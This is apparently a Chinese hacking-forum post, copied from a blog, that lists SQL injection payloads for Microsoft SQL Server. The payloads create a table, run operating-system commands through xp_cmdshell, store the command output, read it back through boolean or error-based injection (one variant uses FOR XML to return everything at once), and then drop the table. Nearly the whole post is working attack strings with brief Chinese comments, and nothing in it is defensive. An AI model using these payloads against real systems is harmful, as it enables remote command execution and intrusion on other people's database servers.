搜索
查看: 488|回复: 0

sql server 注入漏洞执行cmd指令并得到回显

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2017-7-3 00:57:08 | 显示全部楼层 |阅读模式
转自:http://blog.csdn.net/niexinming/article/details/50205309

';create table temp(id int identity(1,1),a varchar(8000));--        创建一个表


';insert into temp exec master.dbo.xp_cmdshell 'dir c:\'; --        执行cmd指令并且插入到表中

' and (select top 1 a from temp where id>5)>0 --                        查询这个表里面的信息,得到cmd指令运行结果

' or (select count(*) from temp)>0 -- 25                                          得到这个表里面的数据行数

';drop table temp; --                                                                          删除表

优雅的方式:
';create table temp(id int identity(1,1),a varchar(8000));--        创建一个表

';insert into temp exec master.dbo.xp_cmdshell 'dir c:\'; --        执行cmd指令并且插入到表中
' and (select substring((select a from temp for xml auto),1,4000 ) ) >0--  可以一次得到所有的结果
';drop table temp; --                                                                          删除表

过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表